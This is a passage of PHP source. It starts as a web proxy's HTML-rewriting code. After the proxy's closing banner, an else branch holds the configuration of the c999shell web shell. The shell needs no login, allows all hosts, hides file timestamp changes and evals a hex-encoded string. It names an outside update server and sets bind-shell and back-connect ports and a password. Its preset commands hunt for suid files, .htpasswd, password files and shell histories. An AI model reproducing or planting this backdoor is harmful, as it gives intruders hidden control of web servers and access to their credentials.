  3875.  
  3876. # }}}
  3877.  
  3878. # PROXY EXECUTION: PAGE RETRIEVAL {{{
  3879.  
  3880. global $headers;
  3881. $body=getpage($curr_urlobj);
  3882.  
  3883. $tbody=trim($body);
  3884. if( // AJAX
  3885.     strlen($tbody) > 0 &&
  3886.     (
  3887.         ($tbody{0}=='"' && substr($tbody,-1)=='"') ||
  3888.         ($tbody{0}=='\'' && substr($tbody,-1)=='\'')
  3889.     )
  3890. ){
  3891.     echo $body;
  3892.     finish();
  3893. }
  3894. unset($tbody);
  3895.  
  3896. define('CONTENT_TYPE',
  3897.     preg_replace('/^([a-z0-9\-\/]+).*$/i','\1',$headers['content-type'][0])); #*
  3898.  
  3899. # }}}
  3900.  
  3901. # PROXY EXECUTION: PAGE PARSING {{{
  3902.  
  3903. $changed=false;
  3904. if(strpos($body,'<base')){
  3905.     $base=preg_replace('/^.*'.BASE_REGEXP.'.*$/is','\1',$body);
  3906.     if(!empty($base) && $base!=$body && !empty($base{100})){
  3907.         $body=preg_replace('/'.BASE_REGEXP.'/i','',$body);
  3908.  
  3909.         //preg_match('/^(["\']).*\1$/i',$base)>0
  3910.         if(
  3911.             ($base{0}=='"' && substr($base,-1)=='"') ||
  3912.             ($base{0}=='\'' && substr($base,-1)=='\'')
  3913.         ) $base=substr($base,1,strlen($base)-2); #*
  3914.         $curr_url=$base;
  3915.  
  3916.         if(!$changed) $changed=true;
  3917.     }
  3918.     unset($base);
  3919. }
  3920.  
  3921. if($changed) $curr_urlobj=new aurl($curr_url);
  3922.  
  3923. # PROXY EXECUTION: PAGE PARSING: PARSING FUNCTIONS {{{
  3924.  
  3925. function parse_html($regexp,$partoparse,$html,$addproxy,$framify){
  3926.     global $curr_urlobj;
  3927.     $newhtml=null;
  3928.     while(preg_match($regexp,$html,$matcharr,PREG_OFFSET_CAPTURE)){
  3929.         $nurl=surrogafy_url($matcharr[$partoparse][0],$curr_urlobj,$addproxy);
  3930.         if($framify) $nurl=framify_url($nurl,$framify);
  3931.         $begin=$matcharr[$partoparse][1];
  3932.         $end=$matcharr[$partoparse][1]+strlen($matcharr[$partoparse][0]);
  3933.         $newhtml.=substr_replace($html,$nurl,$begin);
  3934.         $html=substr($html,$end,strlen($html)-$end);
  3935.     }
  3936.     $newhtml.=$html;
  3937.     return $newhtml;
  3938. }
  3939.  
  3940. function regular_express($regexp_array,$thevar,$recurse=true){
  3941.     # check to see if this is a recursive call
  3942.     if($recurse && strpos($regexp_array[3],FERP_KOOC))
  3943.         return parse_recurse($regexp_array,$thevar);
  3944.  
  3945.     # in benchmarks, this 'optimization' appeared to not do anything at all, or
  3946.     # possibly even slow things down
  3947.     #$regexp_array[2].='S';
  3948.     if($regexp_array[0]==1)
  3949.         $newvar=preg_replace($regexp_array[2],$regexp_array[3],$thevar);
  3950.     elseif($regexp_array[0]==2){
  3951.         $addproxy=(isset($regexp_array[4])?$regexp_array[4]:true);
  3952.         $framify=(isset($regexp_array[5])?$regexp_array[5]:false);
  3953.         $newvar=parse_html(
  3954.             $regexp_array[2],$regexp_array[3],$thevar,$addproxy,$framify);
  3955.     }
  3956.     return $newvar;
  3957. }
  3958.  
  3959. // has recursive calls
  3960. function parse_recurse($regarr,$old_code){
  3961.     // execute regular expression
  3962.     $code=regular_express($regarr,$old_code,false);
  3963.  
  3964.     // if it did something
  3965.     if($old_code!=$code && strpos($code,FERP_KOOC)){
  3966.         // clean up and recurse
  3967.         $offset=0;
  3968.         $end=0;
  3969.         $new_code='';
  3970.         $len=0;
  3971.         while(strpos($code,FERP_KOOC,$offset)){
  3972.             $offset=strpos($code,FERP_KOOC,$offset)+COOK_PREF_LEN;
  3973.  
  3974.             if(!isset($first_offset)) $first_offset=$offset;
  3975.             elseif($offset==$first_offset) break;
  3976.  
  3977.             $new_code.=substr($code,$end,$offset-$end-COOK_PREF_LEN);
  3978.  
  3979.             $end=strpos($code,FERP_KOOC.COOK_PREF,$offset)+COOK_PREF_LEN*2;
  3980.             $newcode_seg=substr($code,$offset,$end-$offset-COOK_PREF_LEN*2);
  3981.  
  3982.             if($newcode_seg!=='')
  3983.                 $new_code.=parse_recurse($regarr,$newcode_seg);
  3984.  
  3985.             $offset=$end;
  3986.         }
  3987.  
  3988.         $new_code.=substr($code,$end);
  3989.         return $new_code;
  3990.     }
  3991.     else return $old_code;
  3992. }
  3993.  
  3994. function parse_all($html){
  3995.     global $OPTIONS, $regexp_arrays;
  3996.  
  3997.     if(CONTENT_TYPE!='text/html'){
  3998.         for(reset($regexp_arrays);list($key,$arr)=each($regexp_arrays);){
  3999.             if($key==CONTENT_TYPE){
  4000.                 foreach($arr as $regarr){
  4001.                     if($regarr==null) continue;
  4002.                     $html=regular_express($regarr,$html);
  4003.                 }
  4004.             }
  4005.         }
  4006.         return $html;
  4007.     }
  4008.  
  4009.     #if($OPTIONS['REMOVE_SCRIPTS']) $splitarr=array($html);
  4010.     $splitarr=preg_split(
  4011.         '/(<!--(?!\[if).*?-->|<style.*?<\/style>|<script.*?<\/script>)/is',
  4012.         $html,-1,PREG_SPLIT_DELIM_CAPTURE);
  4013.     unset($html);
  4014.  
  4015.     $firstrun=true;
  4016.     $firstjsrun=true;
  4017.     for(reset($regexp_arrays);list($key,$arr)=each($regexp_arrays);){
  4018.         if($key=='application/javascript' || $key=='application/x-javascript')
  4019.             continue;
  4020.  
  4021.         # firstrun remove scripts: on<event>s and noscript tags; also remove
  4022.         # objects
  4023.         if(
  4024.             $firstrun &&
  4025.             ($OPTIONS['REMOVE_SCRIPTS'] || $OPTIONS['REMOVE_OBJECTS'])
  4026.         ){
  4027.             for($i=0;$i<count($splitarr);$i+=2){
  4028.                 if($OPTIONS['REMOVE_SCRIPTS'])
  4029.                     $splitarr[$i]=preg_replace(
  4030.                         '/(?:'.REGEXP_SCRIPT_ONEVENT.'|<.?noscript>)/is','',
  4031.                         $splitarr[$i]);
  4032.                 if($OPTIONS['REMOVE_OBJECTS'])
  4033.                     $splitarr[$i]=preg_replace(
  4034.                         '/<(embed|object).*?<\/\1>/is','',$splitarr[$i]);
  4035.             }
  4036.         }
  4037.  
  4038.         // OPTION1: use ONLY if no Javascript REGEXPS affect HTML sections and
  4039.         // all HTML modifying Javascript REGEXPS are performed after HTML
  4040.         // regexps.  This gives a pretty significant speed boost.  If used,
  4041.         // make sure "OPTION2" lines are commented, and other "OPTION1" lines
  4042.         // AREN'T.
  4043.         if($firstjsrun && $key=='text/javascript'){
  4044.             if($OPTIONS['REMOVE_SCRIPTS']) break;
  4045.             $splitarr2=array();
  4046.             for($i=0;$i<count($splitarr);$i+=2){
  4047.                 $splitarr2[$i]=preg_split(
  4048.                     '/'.REGEXP_SCRIPT_ONEVENT.'/is',$splitarr[$i],-1,
  4049.                     PREG_SPLIT_DELIM_CAPTURE);
  4050.             }
  4051.         }
  4052.         // END OPTION1
  4053.  
  4054.         foreach($arr as $regexp_array){
  4055.             if($regexp_array==null) continue;
  4056.             for($i=0;$i<count($splitarr);$i++){
  4057.  
  4058.                 # parse scripts for on<event>s
  4059.                 // OPTION1
  4060.                 if($i%2==0 && isset($splitarr2) && $regexp_array[1]==2){
  4061.  
  4062.                 // OPTION2
  4063.                 //if($regexp_array[1]==2 && $i%2==0){
  4064.                     //$splitarr2[$i]=preg_split(
  4065.                     //  '/( on[a-z]{3,20}=(?:"(?:[^"]+)"|\'(?:[^\']+)\'|'.
  4066.                     //  '[^"\' >][^ >]+[^"\' >]))/is',$splitarr[$i],-1,
  4067.                     //  PREG_SPLIT_DELIM_CAPTURE);
  4068.                     // END OPTION2
  4069.  
  4070.                     // UNRELATED TO OPTIONS
  4071.                     //if(count($splitarr2[$i])<2)
  4072.                     //  $splitarr[$i]=regular_express(
  4073.                     //      $regexp_array,$splitarr[$i]);
  4074.                     if(count($splitarr2[$i])>1){
  4075.                         for($j=1;$j<count($splitarr2[$i]);$j+=2){
  4076.                             $begin=preg_replace(
  4077.                                 '/^([^=]+=.).*$/i','\1',$splitarr2[$i][$j]);
  4078.                             $quote=substr($begin,-1);
  4079.                             if($quote!='"' && $quote!='\''){
  4080.                                 $quote=null;
  4081.                                 $begin=substr($begin,0,-1);
  4082.                             }
  4083.                             $code=preg_replace(
  4084.                                 '/^[^=]+='.
  4085.                                 ($quote==null?'(.*)$/i':'.(.*).$/i'),'\1',
  4086.                                 $splitarr2[$i][$j]);
  4087.                             if(substr($code,0,11)=='javascript:'){
  4088.                                 $begin.='javascript:';
  4089.                                 $code=substr($code,11);
  4090.                             }
  4091.                             if($firstjsrun) $code=";{$code};";
  4092.                             $splitarr2[$i][$j]=
  4093.                                 $begin.regular_express($regexp_array,$code).
  4094.                                 $quote;
  4095.                         }
  4096.                         // OPTION2
  4097.                         //$splitarr[$i]=implode(null,$splitarr2[$i]);
  4098.                     }
  4099.                 }
  4100.  
  4101.                 # remove scripts
  4102.                 elseif(
  4103.                     $firstrun &&
  4104.                     $OPTIONS['REMOVE_SCRIPTS'] &&
  4105.                     strtolower(substr($splitarr[$i],0,7))=='<script'
  4106.                 ) $splitarr[$i]=null;
  4107.  
  4108.                 # parse valid HTML in HTML section
  4109.                 elseif($i%2==0 && $regexp_array[1]==1)
  4110.                     $splitarr[$i]=regular_express($regexp_array,$splitarr[$i]);
  4111.  
  4112.                 # parse valid other things
  4113.                 elseif(
  4114.                     (
  4115.                         # HTML key but not in HTML section
  4116.                         $regexp_array[1]==1 ||
  4117.  
  4118.                         ( # javascript section
  4119.                             $regexp_array[1]==2 &&
  4120.                             strtolower(substr($splitarr[$i],0,7))=='<script'
  4121.                         ) ||
  4122.  
  4123.                         ( # CSS section
  4124.                             $key=='text/css' &&
  4125.                             strtolower(substr($splitarr[$i],0,6))=='<style'
  4126.                         )
  4127.  
  4128.                     ) && # not in comment
  4129.                     substr($splitarr[$i],0,4)!="<!--"
  4130.                 ){
  4131.                     # DE-STROY!
  4132.                     $pos=strpos($splitarr[$i],'>');
  4133.                     $l_html=substr($splitarr[$i],0,$pos+1);
  4134.                     $l_body=substr($splitarr[$i],$pos+1);
  4135.                     # HTML parses just HTML
  4136.                     if($key=='text/html')
  4137.                         $l_html=regular_express($regexp_array,$l_html);
  4138.  
  4139.                     # javascript, CSS, and such parses just their own
  4140.                     else
  4141.                         $l_body=regular_express($regexp_array,$l_body);
  4142.  
  4143.                     # put humpty-dumpty together again
  4144.                     $splitarr[$i]=$l_html.$l_body;
  4145.                 }
  4146.  
  4147.                 # script purge cleanup
  4148.                 if(
  4149.                     $firstrun &&
  4150.                     !$OPTIONS['REMOVE_SCRIPTS'] &&
  4151.                     strtolower(substr($splitarr[$i],-9))=='</script>' &&
  4152.                     !preg_match('/^[^>]*src/i',$splitarr[$i])
  4153.                 ){
  4154.                     $splitarr[$i]=
  4155.                         preg_replace('/'.END_OF_SCRIPT_TAG.'$/i',
  4156.                             ';'.COOK_PREF.'.purge();//--></script>',
  4157.                             $splitarr[$i]);
  4158.                 }
  4159.  
  4160.             }
  4161.  
  4162.             $firstrun=false;
  4163.             if($firstjsrun && (
  4164.                 $key=='text/javascript' ||
  4165.                 $key=='application/javascript' ||
  4166.                 $key=='application/x-javascript'
  4167.             ))
  4168.                 $firstjsrun=false;
  4169.         }
  4170.     }
  4171.  
  4172.     // OPTION1
  4173.     if(!$OPTIONS['REMOVE_SCRIPTS']){
  4174.         for($i=0;$i<count($splitarr);$i+=2){
  4175.             $splitarr[$i]=implode(null,$splitarr2[$i]);
  4176.         }
  4177.     }
  4178.     // END OPTION1
  4179.  
  4180.     return implode(null,$splitarr);
  4181. }
  4182.  
  4183. # }}}
  4184.  
  4185. //$starttime=microtime(true); # BENCHMARK
  4186. $body=parse_all($body);
  4187. //$parsetime=microtime(true)-$starttime; # BENCHMARK
  4188.  
  4189. # PROXY EXECUTION: PAGE PARSING: PROXY HEADERS/JAVASCRIPT {{{
  4190.  
  4191. if(CONTENT_TYPE=='text/html'){
  4192.     $big_headers=
  4193.         '<meta name="robots" content="noindex, nofollow" />'.
  4194.         ($OPTIONS['URL_FORM'] && PAGETYPE_ID===PAGETYPE_FRAMED_PAGE?
  4195.             '<base target="_top">':null).
  4196.         '<link rel="shortcut icon" href="'.
  4197.             surrogafy_url(
  4198.                 $curr_urlobj->get_proto().'://'.
  4199.                 $curr_urlobj->get_servername().'/favicon.ico').'" />'.
  4200.         (!isset($CONFIG['REMOVE_SCRIPTS']) || !$CONFIG['REMOVE_SCRIPTS']?
  4201.             '<script type="text/javascript" src="'.THIS_SCRIPT.'?js_funcs'.
  4202.                 (PAGE_FRAMED?'_framed':null).'"></script>'.
  4203.             '<script type="text/javascript" src="'.THIS_SCRIPT.
  4204.                 '?js_regexps'.(PAGE_FRAMED?'_framed':null).'"></script>'.
  4205.             '<script type="text/javascript">'.
  4206.             //'<!--'.
  4207.  
  4208.             COOK_PREF.'_do_proxy=true;'.
  4209.  
  4210.             COOK_PREF.'.CURR_URL="'.
  4211.                 str_replace(
  4212.                     '"','\\"',$curr_urlobj->get_url()).'"+location.hash;'.
  4213.                         COOK_PREF.'.gen_curr_urlobj();'.
  4214.  
  4215.             'if(parent.update_url) parent.update_url('.COOK_PREF.'.CURR_URL);'.
  4216.  
  4217.             COOK_PREF.'.DOCUMENT_REFERER="'.(
  4218.                 $OPTIONS['URL_FORM']?
  4219.                 str_replace('"','\\"',$referer):
  4220.                 null).'";'.
  4221.  
  4222.             COOK_PREF.'.ENCRYPT_COOKIES='.
  4223.                 bool_to_js($OPTIONS['ENCRYPT_COOKIES']).';'.
  4224.  
  4225.             COOK_PREF.'.ENCRYPT_URLS='.bool_to_js($OPTIONS['ENCRYPT_URLS']).
  4226.                 ';'.
  4227.  
  4228.             COOK_PREF.'.ENCODE_HTML='.bool_to_js($OPTIONS['ENCODE_HTML']).
  4229.                 ';'.
  4230.  
  4231.             COOK_PREF.'.LOCATION_HOSTNAME="'.
  4232.                 str_replace('"','\\"',$curr_urlobj->get_servername()).'";'.
  4233.  
  4234.             COOK_PREF.'.LOCATION_PORT="'.
  4235.                 str_replace('"','\\"',$curr_urlobj->get_portval()).'";'.
  4236.  
  4237.             COOK_PREF.'.LOCATION_SEARCH="'.(
  4238.                     $curr_urlobj->get_query()!=null?
  4239.                     '?'.str_replace('"','\\"',$curr_urlobj->get_query()):
  4240.                     null
  4241.                 ).'";'.
  4242.  
  4243.             COOK_PREF.'.NEW_PAGETYPE_FRAME_TOP='.NEW_PAGETYPE_FRAME_TOP.';'.
  4244.  
  4245.             COOK_PREF.'.PAGE_FRAMED='.bool_to_js(PAGE_FRAMED).';'.
  4246.  
  4247.             COOK_PREF.'.REMOVE_OBJECTS='.
  4248.                 bool_to_js($OPTIONS['REMOVE_OBJECTS']).';'.
  4249.  
  4250.             COOK_PREF.'.URL_FORM='.bool_to_js($OPTIONS['URL_FORM']).';'.
  4251.  
  4252.             COOK_PREF.".USERAGENT=\"{$OPTIONS['USER_AGENT']}\";".
  4253.                 (
  4254.                     $OPTIONS['URL_FORM'] && PAGETYPE_ID==PAGETYPE_FRAMED_PAGE?
  4255.                     'if('.COOK_PREF.'.theparent=='.COOK_PREF.'.thetop) '.
  4256.                         COOK_PREF.'.eventify("'.$curr_urlobj->get_proto().
  4257.                         '","'.$curr_urlobj->get_servername().'");':
  4258.                     null
  4259.                 ).
  4260.  
  4261.             //'//-->'.
  4262.             '</script>':
  4263.         null);
  4264.  
  4265.     $body=preg_replace(
  4266.         '/(?:(<(?:head|body)[^>]*>)|(<(?:\/head|meta|link|script)))/i',
  4267.         "\\1$big_headers\\2",$body,1);
  4268.     unset($big_headers);
  4269. }
  4270. elseif(
  4271.     CONTENT_TYPE=='application/javascript' ||
  4272.     CONTENT_TYPE=='application/x-javascript' ||
  4273.     CONTENT_TYPE=='text/javascript'
  4274. ) $body.=';'.COOK_PREF.'.purge();';
  4275.  
  4276. # }}}
  4277.  
  4278. # }}}
  4279.  
  4280. ## Retrieved, Parsed, All Ready to Output ##
  4281.  
  4282. // encoded output
  4283. if($OPTIONS['ENCODE_HTML']){
  4284.     function parse_letter($letter){
  4285.         $strhex=dechex(ord($letter));
  4286.         while(strlen($strhex)<2){
  4287.             $strhex="0{$strhex}";
  4288.         }
  4289.         return "\\x{$strhex}";
  4290.     }
  4291.  
  4292.     $body=utf8_decode($body);
  4293.     echo '<script language="javascript">document.write("';
  4294.     for($i=0; $i<strlen($body); $i++){
  4295.         echo parse_letter(substr($body,$i,1));
  4296.     }
  4297.     echo '");</script>';
  4298.  
  4299. // plain output
  4300. } else {
  4301.     $offset=0;
  4302.     $new_body='';
  4303.     $count=0;
  4304.     while(strpos($body,'new AsyncRequest(',$offset)){
  4305.         $new_offset=strpos($body,'new AsyncRequest(',$offset);
  4306.         $new_body.=substr($body,$offset,$new_offset-$offset);
  4307.         $new_body.="new AsyncRequest('".ORIG_URL."_{$count}'";
  4308.         if(substr($body,$new_offset+17,1)!=')')
  4309.             $new_body.=',';
  4310.         $count++;
  4311.         $offset=$new_offset+17;
  4312.     }
  4313.     $new_body.=substr($body,$offset);
  4314.     echo $new_body;
  4315. }
  4316.  
  4317. # BENCHMARK
  4318. #echo
  4319. #   'total time: '.(microtime(true)-$totstarttime).
  4320. #   "<br />parse time: {$parsetime} seconds".
  4321. #   (isset($oparsetime)?"<br />other time 1: {$oparsetime} seconds":null).
  4322. #   (isset($oparsetime2)?"<br />other time 2: {$oparsetime2} seconds":null);
  4323.  
  4324. # }}}
  4325.  
  4326. finish_noexit();
  4327.  
  4328. ############
  4329. ## THE END ##
  4330. ##############
  4331. #
  4332. # VIM is the ideal way to edit this file.  Automatic folding occurs making the
  4333. # blocks of code easier to read and navigate
  4334. # vim:foldmethod=marker
  4335. #
  4336. ##################
  4337.    
  4338.    
  4339.    
  4340.    
  4341.    
  4342. }
  4343. else
  4344. {
  4345.  
  4346. //Starting calls
  4347. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4348. error_reporting(5);
  4349. @ignore_user_abort(TRUE);
  4350. @set_magic_quotes_runtime(0);
  4351. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  4352. define("starttime",getmicrotime());
  4353. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  4354. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  4355. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  4356.  
  4357. $shver = "1.0 pre-release build #16"; //Current version
  4358. //CONFIGURATION AND SETTINGS
  4359. if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
  4360. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
  4361. else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
  4362. }
  4363.  
  4364. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  4365.  
  4366. if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  4367. if (empty($surl))
  4368. {
  4369.  $surl = "?shell=true&".$includestr; //Self url
  4370. }
  4371. $surl = htmlspecialchars($surl);
  4372.  
  4373. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  4374.  
  4375. //Authentication
  4376. $login = ""; //login
  4377. //DON'T FORGOT ABOUT PASSWORD!!!
  4378. $pass = ""; //password
  4379. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  4380.  
  4381. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  4382. $login_txt = "Restricted area"; //http-auth message.
  4383. $accessdeniedmess = "Shell access denied";
  4384.  
  4385. $gzipencode = TRUE; //Encode with gzip?
  4386.  
  4387. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  4388.  
  4389. $c999sh_updateurl = "http://Blade83.de/shell/update/c999shell/"; //Update server
  4390. $c999sh_sourcesurl = "http://Blade83.de/shell/update/c999sh_sources/"; //Sources-server
  4391.  
  4392. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  4393.  
  4394. $donated_html = "";
  4395. /* If you publish free shell and you wish
  4396. add link to your site or any other information,
  4397. put here your html. */
  4398. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  4399.  
  4400. $curdir = "./"; //start folder
  4401. //$curdir = getenv("DOCUMENT_ROOT");
  4402. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  4403. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  4404.  
  4405. $log_email = "dev@blade83.de"; //Default e-mail for sending logs
  4406.  
  4407. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  4408. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  4409.  
  4410. // Registered file-types.
  4411. //  array(
  4412. //   "{action1}"=>array("ext1","ext2","ext3",...),
  4413. //   "{action2}"=>array("ext4","ext5","ext6",...),
  4414. //   ...
  4415. //  )
  4416.    
  4417. $shellcode = "\x24\x66\x74\x79\x70\x65\x73\x20\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x0D\x0A\x20\x22\x68\x74\x6D\x6C\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x68\x74\x6D\x6C\x22\x2C\x22\x68\x74\x6D\x22\x2C\x22\x73\x68\x74\x6D\x6C\x22\x29\x2C\x0D\x0A\x20\x22\x74\x78\x74\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x74\x78\x74\x22\x2C\x22\x63\x6F\x6E\x66\x22\x2C\x22\x62\x61\x74\x22\x2C\x22\x73\x68\x22\x2C\x22\x6A\x73\x22\x2C\x22\x62\x61\x6B\x22\x2C\x22\x64\x6F\x63\x22\x2C\x22\x6C\x6F\x67\x22\x2C\x22\x73\x66\x63\x22\x2C\x22\x63\x66\x67\x22\x2C\x22\x68\x74\x61\x63\x63\x65\x73\x73\x22\x29\x2C\x0D\x0A\x20\x22\x65\x78\x65\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x73\x68\x22\x2C\x22\x69\x6E\x73\x74\x61\x6C\x6C\x22\x2C\x22\x62\x61\x74\x22\x2C\x22\x63\x6D\x64\x22\x29\x2C\x0D\x0A\x20\x22\x69\x6E\x69\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x69\x6E\x69\x22\x2C\x22\x69\x6E\x66\x22\x29\x2C\x0D\x0A\x20\x22\x63\x6F\x64\x65\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x70\x68\x70\x22\x2C\x22\x70\x68\x74\x6D\x6C\x22\x2C\x22\x70\x68\x70\x33\x22\x2C\x22\x70\x68\x70\x34\x22\x2C\x22\x69\x6E\x63\x22\x2C\x22\x74\x63\x6C\x22\x2C\x22\x68\x22\x2C\x22\x63\x22\x2C\x22\x63\x70\x70\x22\x2C\x22\x70\x79\x22\x2C\x22\x63\x67\x69\x22\x2C\x22\x70\x6C\x22\x29\x2C\x0D\x0A\x20\x22\x69\x6D\x67\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x67\x69\x66\x22\x2C\x22\x70\x6E\x67\x22\x2C\x22\x6A\x70\x65\x67\x22\x2C\x22\x6A\x66\x69\x66\x22\x2C\x22\x6A\x70\x67\x22\x2C\x22\x6A\x70\x65\x22\x2C\x22\x62\x6D\x70\x22\x2C\x22\x69\x63\x6F\x22\x2C\x22\x74\x69\x66\x22\x2C\x22\x74\x69\x66\x66\x22\x2C\x22\x61\x76\x69\x22\x2C\x22\x6D\x70\x67\x22\x2C\x22\x6D\x70\x65\x67\x22\x29\x2C\x0D\x0A\x20\x22\x73\x64\x62\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x73\x64\x62\x22\x29\x2C\x0D\x0A\x20\x22\x70\x68\x70\x73\x65\x73\x73\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x73\x65\x73\x73\x22\x29\x2C\x0D\x0A\x20\x22\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x22\x3D\x3E\x61\x72\x72\x61\x79\x28\x22\x65\x78\x65\x22\x2C\x22\x63\x6F\x6D\x22\x2C\x22\x70\x69\x66\x22\x2C\x22\x73\x72\x63\x22\x2C\x22\x6C\x6E\x6B\x22\x2C\x22\x7A\x69\x70\x22\x2C\x22\x72\x61\x72\x22\x2C\x22\x67\x7A\x22\x2C\x22\x74\x61\x72\x22\x29\x0D\x0A\x29\x3B";
  4418. eval( $shellcode );
  4419.    
  4420.    
  4421. // Registered executable file-types.
  4422. //  array(
  4423. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  4424. //   ...
  4425. //  )
  4426. //   {command}: %f% = filename
  4427. $exeftypes  = array(
  4428.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  4429.  "perl %f%" => array("pl","cgi")
  4430. );
  4431.  
  4432. /* Highlighted files.
  4433.   array(
  4434.    i=>array({regexp},{type},{opentag},{closetag},{break})
  4435.    ...
  4436.   )
  4437.   string {regexp} - regular exp.
  4438.   int {type}:
  4439. 0 - files and folders (as default),
  4440. 1 - files only, 2 - folders only
  4441.   string {opentag} - open html-tag, e.g. "<b>" (default)
  4442.   string {closetag} - close html-tag, e.g. "</b>" (default)
  4443.   bool {break} - if TRUE and found match then break
  4444. */
  4445. $regxp_highlight  = array(
  4446.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  4447.   array("config.php",1) // example
  4448. );
  4449.  
  4450.    
  4451.    
  4452. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  4453.  // array (i=>{letter} ...); string {letter} - letter of a drive
  4454. //$safemode_diskettes = range("a","z");
  4455. $hexdump_lines = 8;// lines in hex preview file
  4456. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  4457.  
  4458. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  4459.  
  4460. $bindport_pass = "c999";  // default password for binding
  4461. $bindport_port = "31373"; // default port for binding
  4462. $bc_port = "31373"; // default port for back-connect
  4463. $datapipe_localport = "8081"; // default port for datapipe
  4464.  
  4465. // Command-aliases
  4466. if (!$win)
  4467. {
  4468.  $cmdaliases = array(
  4469.   array("-----------------------------------------------------------", "ls -la"),
  4470.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  4471.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  4472.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  4473.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  4474.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  4475.   array("find config* files", "find / -type f -name \"config*\""),
  4476.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  4477.   array("find all writable folders and files", "find / -perm -2 -ls"),
  4478.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  4479.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  4480.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  4481.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  4482.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  4483.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  4484.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  4485.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  4486.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  4487.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  4488.   array("show opened ports", "netstat -an | grep -i listen")
  4489.  );
  4490. }
  4491. else
  4492. {
  4493.  $cmdaliases = array(
  4494.   array("-----------------------------------------------------------", "dir"),
  4495.   array("show opened ports", "netstat -an")
  4496.  );
  4497. }
  4498.  
  4499.    
  4500.    
  4501.  
  4502.  
  4503. $sess_cookie = "johnnyHasYou"; // Cookie-variable name
  4504.  
  4505. $usefsbuff = TRUE; //Buffer-function
  4506. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  4507.  
  4508. //Quick launch
  4509. $quicklaunch = array(
  4510.  
  4511.  array("<img src=\"".$surl."act=img&img=back\" title=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  4512.  array("<img src=\"".$surl."act=img&img=forward\" title=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  4513.  array("<img src=\"".$surl."act=img&img=home\" title=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  4514.  array("<img src=\"".$surl."act=img&img=up\" title=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  4515.  array("<img src=\"".$surl."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  4516.  array("<img src=\"".$surl."act=img&img=search\" title=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  4517.  array("<img src=\"".$surl."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
